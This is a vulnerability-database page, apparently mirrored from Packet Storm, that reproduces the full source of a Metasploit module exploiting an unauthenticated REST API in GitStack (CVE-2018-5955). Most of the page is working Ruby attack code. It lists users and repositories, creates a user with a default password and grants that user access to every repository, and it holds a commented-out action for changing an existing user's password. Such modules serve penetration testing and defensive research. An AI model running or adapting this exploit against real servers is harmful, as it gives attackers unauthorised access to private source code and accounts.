Lucene search
K

GitStack Unauthenticated REST API Requests

🗓️ 31 Aug 2024 00:00:00Reported by Kacper Szurek, Jacob Robles, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 185 Views

GitStack Unauthenticated REST API Requests exploit unauthenticated API in GitStack v2.3.1

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GitStack - Unsanitized Argument Remote Code Execution Exploit
29 Mar 201800:00
zdt
Circl
CVE-2018-5955
29 Mar 201800:00
circl
CNVD
GitStack Server User Add Vulnerability
22 Jan 201800:00
cnvd
Check Point Advisories
GitStack Authentication Bypass (CVE-2018-5955)
16 Jun 202000:00
checkpoint_advisories
CVE
CVE-2018-5955
21 Jan 201822:00
cve
Cvelist
CVE-2018-5955
21 Jan 201822:00
cvelist
Exploit DB
GitStack - Remote Code Execution
15 Jan 201800:00
exploitdb
Exploit DB
GitStack - Unsanitized Argument Remote Code Execution (Metasploit)
29 Mar 201800:00
exploitdb
exploitpack
GitStack - Remote Code Execution
15 Jan 201800:00
exploitpack
Metasploit
GitStack Unauthenticated REST API Requests
26 Feb 201812:04
metasploit
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'GitStack Unauthenticated REST API Requests',  
'Description' => %q{  
This modules exploits unauthenticated REST API requests in GitStack through v2.3.10.  
The module supports requests for listing users of the application and listing  
available repositories. Additionally, the module can create a user and add the user  
to the application's repositories. This module has been tested against GitStack v2.3.10.  
},  
'Author' => [  
'Kacper Szurek', # Vulnerability discovery and PoC  
'Jacob Robles' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2018-5955'],  
['EDB', '43777'],  
['EDB', '44044']  
],  
'DisclosureDate' => '2018-01-15',  
'Actions' => [  
[  
'LIST',  
{  
'Description' => 'List application users',  
'List' => 'GET',  
'UserPath' => '/rest/user/'  
}  
],  
[  
'CREATE',  
{  
'Description' => 'Create a user on the application',  
'Create' => 'POST',  
'List' => 'GET',  
'UserPath' => '/rest/user/',  
'RepoPath' => '/rest/repository/'  
}  
],  
# If this is uncommented, you will be able to change an  
# existing user's password.  
# After modifying the user's password, the user will be  
# added to all available repositories.  
# The cleanup action removes the user from all repositories  
# and then deletes the user... so this action may not be desirable.  
# [  
# 'MODIFY',  
# {  
# 'Description' => "Change the application user's password",  
# 'Create' => 'PUT',  
# 'List' => 'GET',  
# 'UserPath' => '/rest/user/',  
# 'RepoPath' => '/rest/repository/'  
# }  
# ],  
[  
'LIST_REPOS',  
{  
'Description' => 'List available repositories',  
'List' => 'GET',  
'RepoPath' => '/rest/repository/'  
}  
],  
[  
'CLEANUP',  
{  
'Description' => 'Remove user from repositories and delete user',  
'List' => 'GET',  
'Remove' => 'DELETE',  
'RepoPath' => '/rest/repository/',  
'UserPath' => '/rest/user/'  
}  
]  
],  
'DefaultAction' => 'LIST'  
)  
)  
  
register_options(  
[  
OptString.new('USERNAME', [false, 'User to create or modify', 'msf']),  
OptString.new('PASSWORD', [false, 'Password for user', 'password'])  
]  
)  
end  
  
def get_users  
path = action.opts['UserPath']  
begin  
res = send_request_cgi({  
'uri' => path,  
'method' => action.opts['List']  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
return  
end  
if res && res.code == 200  
begin  
mylist = res.get_json_document  
mylist -= ['everyone']  
rescue JSON::ParserError => e  
print_error("Failed: #{e.class} - #{e.message}")  
return  
end  
mylist.each do |item|  
print_good(item.to_s)  
end  
end  
end  
  
def get_repos  
path = action.opts['RepoPath']  
begin  
res = send_request_cgi({  
'uri' => path,  
'method' => action.opts['List']  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
return nil  
end  
if res && res.code == 200  
begin  
mylist = res.get_json_document  
return mylist  
rescue JSON::ParserError => e  
print_error("Failed: #{e.class} - #{e.message}")  
return nil  
end  
else  
return nil  
end  
end  
  
def clean_app  
user = datastore['USERNAME']  
unless user  
print_error('USERNAME required')  
return  
end  
  
mylist = get_repos  
if mylist  
# Remove user from each repository  
mylist.each do |item|  
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"  
begin  
res = send_request_cgi({  
'uri' => path,  
'method' => action.opts['Remove']  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
return  
end  
  
if res && res.code == 200  
print_good(res.body.to_s)  
else  
print_status("User #{user} doesn't have access to #{item['name']}")  
end  
end  
end  
  
# Delete the user account  
path = "#{action.opts['UserPath']}#{user}/"  
begin  
res = send_request_cgi({  
'uri' => path,  
'method' => action.opts['Remove']  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
return  
end  
  
# Check if the account was successfully deleted  
if res && res.code == 200  
print_good(res.body.to_s)  
else  
print_error(res.body.to_s)  
end  
end  
  
def add_user  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
  
begin  
res = send_request_cgi({  
'uri' => action.opts['UserPath'],  
'method' => action.opts['Create'],  
'vars_post' => {  
'username' => user,  
'password' => pass  
}  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
return  
end  
if res && res.code == 200  
print_good("SUCCESS: #{user}:#{pass}")  
else  
print_error(res.body.to_s)  
return  
end  
  
mylist = get_repos  
if mylist  
mylist.each do |item|  
path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"  
begin  
res = send_request_cgi({  
'uri' => path,  
'method' => action.opts['Create']  
})  
rescue Rex::ConnectionError, Errno::ECONNRESET => e  
print_error("Failed: #{e.class} - #{e.message}")  
next  
end  
if res && res.code == 200  
print_good(res.body.to_s)  
else  
print_error('Failed to add user')  
print_error(res.body.to_s)  
end  
end  
else  
print_error('Failed to retrieve repository list')  
end  
end  
  
def run  
if ['LIST'].include?(action.name)  
print_status('Retrieving Users')  
get_users  
elsif ['LIST_REPOS'].include?(action.name)  
print_status('Retrieving Repositories')  
mylist = get_repos  
if mylist  
mylist.each do |item|  
print_good((item['name']).to_s)  
end  
else  
print_error('Failed to retrieve repository list')  
end  
elsif ['CLEANUP'].include?(action.name)  
clean_app  
elsif datastore['USERNAME'] && datastore['PASSWORD']  
add_user  
else  
print_error('USERNAME and PASSWORD required')  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 27.5
CVSS 39.8
EPSS0.86574
185